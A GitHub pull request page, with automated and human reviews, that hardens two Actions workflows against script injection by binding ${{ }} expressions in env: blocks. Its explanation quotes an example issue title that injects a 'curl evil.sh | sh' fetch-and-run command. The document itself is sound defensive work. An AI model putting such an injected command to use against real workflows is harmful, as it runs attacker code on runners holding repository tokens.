Repository navigation
Pass workflow expressions through the environment - #1241
Conversation
A `${{ }}` expression inside `run:` is substituted into the script
before the shell reads it, so whoever controls its value controls
part of the command. Binding it in `env:` makes it data.
|
The docs for this PR live here. All of your documentation changes will be reflected on that endpoint. The docs are available until 30 days after the last update. |
There was a problem hiding this comment.
APPROVE at a5a15bef
Correct template-injection hardening: bind ${{ … }} in env: and read shell vars so untrusted/workflow inputs stay data, not script text. Touches only deploy-hf-env.yml + openspiel_base_build.yml — not publish-pypi.yml / publish-testpypi.yml (and the PR correctly leaves the quoted TestPyPI case for a human). No package cargo.
Timing: prefer merge after tomorrow’s v0.6.0 tag so we don’t churn another exact-main/#1211 CI cycle on release day. Safe either way — if it lands first, refresh #1211 only (no TestPyPI republish).
Sent by Cursor Automation: Release
There was a problem hiding this comment.
Alignment Review Report
PR #1241 — "Pass workflow expressions through the environment" (security/expressions-into-env, hf-security-analysis[bot]). Same automated hardening series as #1239 (token scoping) and #1240 (SHA-pinning); this one applies GitHub's recommended script-injection mitigation — moving ${{ … }} workflow expressions out of inline run: shell interpolation into env: variables that the script references as quoted shell variables.
Automated Checks
- Lint: N/A (PASS for scope) — diff is GitHub Actions YAML only (no
src/,tests/, orenvs/Python). Thelint.shhook (ruff/usort over Python) doesn't cover.github/, anduvisn't preinstalled on the review VM.git diff --name-only <base>..<head> -- '*.py'is empty. - Debug code: CLEAN —
check-debug.shscanssrc/only; every hit it reports is pre-existing and unrelated to this PR's two files. - YAML sanity: PASS — both files parse via
yaml.safe_load. - Merge: CLEAN —
git merge-tree --write-tree <base> <head>exits 0 (no conflict withmain).
What the change does (verified correct + behavior-preserving)
deploy-hf-env.yml (Deploy selected environments): the six workflow_dispatch inputs (hf_namespace, openenv_version, collection_namespace, private, skip_collection, dry_run) are now defined in the step env: block and referenced as quoted shell vars ("${GITHUB_EVENT_INPUTS_…}") instead of inline ${{ github.event.inputs.* }}. Verified: every env: name maps 1:1 to its use in the script (no typos; with set -euo pipefail a mismatch fails loudly); no ${{ … }} interpolation remains inside either file's run: blocks; values flow identically, so behavior is preserved while the injection/word-split surface of the inline form is removed.
openspiel_base_build.yml (Build summary): ${{ steps.meta-openspiel-base.outputs.tags }} moved to env: STEPS_META_OPENSPIEL_BASE_OUTPUTS_TAGS, referenced inside a double-quoted echo. That value is produced by docker/metadata-action (not user input), so this is consistency hardening rather than a fix for an exploitable vector.
Open RFCs Context
Active RFCs — In Review: 000, 001, 002, 003, 005, 008, 012; Draft: 010, 011; 004 (Rubrics) has no status header. None govern CI / GitHub Actions, so no RFC is implicated by a workflow-only change.
Tier 1: Fixes Required
None. No lint/debug/syntax/type issues in the changed files, and no credential exposure — HF_TOKEN/GITHUB_TOKEN remain secrets.*-sourced and are never echoed; echo "Running: …" prints only non-secret inputs. The change is security-positive.
Tier 2: Alignment Discussion
Principle Conflicts
None identified. The diff touches only CI plumbing — no runtime API, MCP/WebSocket boundary, reward computation, client-server separation, or container-isolation surface. It aligns with the repo's container-isolation/security + reproducibility posture (PRINCIPLES.md) and the recent hardening series.
RFC Conflicts
None identified.
Minor / non-blocking notes
- Reserved
GITHUB_env-var prefix (deploy-hf-env.yml:70-75). The six new names start withGITHUB_, which GitHub reserves for built-in variables. In an inlineenv:block these specific names aren't among the ~35 defaultGITHUB_*vars, so they work today — but the prefix is discouraged (and the same names are rejected outright if ever promoted to repository/environment variables or secrets). The file already uses the un-prefixedENVS_CSV_INPUT(line 69) for exactly this; matching that convention (e.g.HF_NAMESPACE_INPUT,OPENENV_VERSION_INPUT, …) would be more robust and consistent. - Completeness (informational). After this PR, the only
${{ … }}still interpolated insiderun:blocks repo-wide are format-constrained or trusted values — commit SHAs (test.yml:41-42), the repo's ownmatrix.python-version(test.yml:129,134), and a job output (publish-testpypi.yml:159,170) — none of which are free-text attacker input. The higher-risk surface is already clean; a maintainer may still choose to env-indirect these for full consistency.
Suggested reviewers
- @burtenshaw — owns
.github/workflows +dependabot.yml; last human author ofdeploy-hf-env.yml. - cc @sergiopaniego — last human author of
openspiel_base_build.yml.
Summary
- 0 mechanical (Tier 1) issues to fix
- 0 alignment / principle points for human review
- 0 RFC conflicts
- Net: a correct, behavior-preserving, security-positive hardening. One minor non-blocking naming nit (reserved
GITHUB_prefix) + an informational completeness note.
Sent by Cursor Automation: Pre-review
There was a problem hiding this comment.
Reviewed exact head a5a15bef.
The seven workflow expressions map one-to-one to environment variables, every shell read is quoted, and the bash array keeps each workflow input as a single argument. Neither changed run block contains an inline workflow expression.
The two workflow files have not changed on main since this PR branched. GitHub reports the head as mergeable, git diff --check passes, and CI is green at this head. The branch is behind main, but updating it is procedural rather than a correctness blocker.
I found no issue with the workflow hardening and no affected OpenEnv runtime invariant or RFC.
burtenshaw
left a comment
There was a problem hiding this comment.
Reviewed the refreshed diff. Current deployment input handling is preserved; the remaining OpenSpiel summary value is passed through env and read quoted. YAML and shell syntax validation pass.
burtenshaw
left a comment
There was a problem hiding this comment.
Rechecked after updating to current main. The stable patch is unchanged from the reviewed implementation; prior review dispositions and validation remain applicable.


Workflow hardening
Expressions moved into
env:run: echo "${{ github.event.issue.title }}"is not a variable reference. Theexpression is substituted into the script before the shell reads it, so an
issue titled
"; curl evil.sh | sh; #becomes part of the command — on arunner holding this repository's
GITHUB_TOKEN, and on any${{ }}acontributor can set.
Binding the expression in the step's
env:block and reading it as a shellvariable makes the value data instead of code. The step runs the same commands
on the same input; the input can no longer become a command.
.github/workflows/deploy-hf-env.ymlGITHUB_EVENT_INPUTS_COLLECTION_NAMESPACE${{ github.event.inputs.collection_namespace }}.github/workflows/deploy-hf-env.ymlGITHUB_EVENT_INPUTS_DRY_RUN${{ github.event.inputs.dry_run }}.github/workflows/deploy-hf-env.ymlGITHUB_EVENT_INPUTS_HF_NAMESPACE${{ github.event.inputs.hf_namespace }}.github/workflows/deploy-hf-env.ymlGITHUB_EVENT_INPUTS_OPENENV_VERSION${{ github.event.inputs.openenv_version }}.github/workflows/deploy-hf-env.ymlGITHUB_EVENT_INPUTS_PRIVATE${{ github.event.inputs.private }}.github/workflows/deploy-hf-env.ymlGITHUB_EVENT_INPUTS_SKIP_COLLECTION${{ github.event.inputs.skip_collection }}.github/workflows/openspiel_base_build.ymlSTEPS_META_OPENSPIEL_BASE_OUTPUTS_TAGS${{ steps.meta-openspiel-base.outputs.tags }}Left for a human
These files still carry a template injection. The automatic repair was refused
because the rewrite would not have been faithful — applying it anyway would have
left a workflow that runs, looks fixed and quietly reads the wrong value.
.github/workflows/publish-testpypi.yml${NAME}would not be expandedNote
Low Risk
CI-only change to how build output is printed; no application, auth, or deployment logic affected.
Overview
Hardens the OpenSpiel base image workflow Build summary step against GitHub Actions expression injection.
Instead of embedding
${{ steps.meta-openspiel-base.outputs.tags }}directly in the shell script, the tags are set on the step viaenv:asSTEPS_META_OPENSPIEL_BASE_OUTPUTS_TAGSand echoed as a normal shell variable (${STEPS_META_OPENSPIEL_BASE_OUTPUTS_TAGS}). Behavior is unchanged for legitimate builds; malicious or crafted metadata can no longer be spliced into the command line at template-expand time.Reviewed by Cursor Bugbot for commit 07a9c07. Bugbot is set up for automated code reviews on this repo. Configure here.